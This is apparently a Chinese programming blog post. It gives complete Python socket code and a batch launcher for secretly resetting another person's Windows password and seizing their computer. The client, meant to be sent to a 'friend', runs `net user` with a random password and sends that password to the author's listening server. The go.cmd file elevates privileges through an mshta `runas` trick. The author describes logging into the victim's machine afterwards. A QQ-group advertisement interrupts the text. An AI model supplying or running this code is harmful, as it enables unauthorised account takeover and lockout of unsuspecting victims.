开发环境:win10+python3.7
开发工具:pycharm
一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有男盆友)
分别为三个知识点:
很多人学习蟒蛇,不知道从何学起。 很多人学习python,掌握了基本语法之后,不知道在哪里寻找案例上手。 很多已经做了案例的人,却不知道如何去学习更多高深的知识。 那么针对这三类人,我给大家提供一个好的学习平台,免费获取视频教程,电子书,以及课程的源代码! QQ群:101677771 欢迎加入,一起讨论一起学习!
1.socket远程连接
2.创建客户端和服务端
3.管理员权限运行代码
咱们今天是学习修改电脑密码和远程修改小伙伴的密码,如果有哪里解析不好,欢迎大佬指点一下。
该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)
首先正常创建服务端:
import socket # 导入socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket server.bind(('192.168.246.1', 44444)) # 绑定IP/端口 server.listen(5) # 监听 print('***********等待连接*********') conn, addr = server.accept() # 连接 print(conn) print('客户端的地址:', addr) client_msg = conn.recv(1024) print('客户端修改的密码是: %s' % client_msg) conn.close() server.close() 复制代码
windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)
在提醒一遍,记住服务端是我们自己拿着的哈,别傻乎乎的发给对方了哦!
接下来就写发给小伙伴的客户端:
import socket # 导入用到的模块 import getpass import subprocess import random client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例 client.connect((ip, 端口)) # 连接server端IP地址/端口按你自己实际情况来 user = getpass.getuser() # 获取计算机用户名 print(user) psd = '' for j in range(1, 9): # 生成1-9的随机数 m = str(random.randrange(0, 10)) psd = psd + m subprocess.Popen(['net', 'User', user, psd]) # 在本地执行(类似于cmd命令) client.send(psd.encode('utf-8')) # 将密码发送给server端 back_msg = client.recv(1024) client.close() # 关闭socket 复制代码
到这一步基本就可以自己去尝试了,嘿嘿,但是要注意,当前代码只能修改权限是admin的账户。
非admin用户需要提高自己的执行权限,直接使用超级管理员权限执行cmd文件go.cmd
@echo off %1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit cd /d "%~dp0" start python client.py 复制代码
最后我修改密码成功登陆,竟然发现了他的密码!
难怪每次我和他斗图,我每次都斗不赢他,原来是背着我下了几千个表情包,我怎么就没有想到这个骚操作呢!!!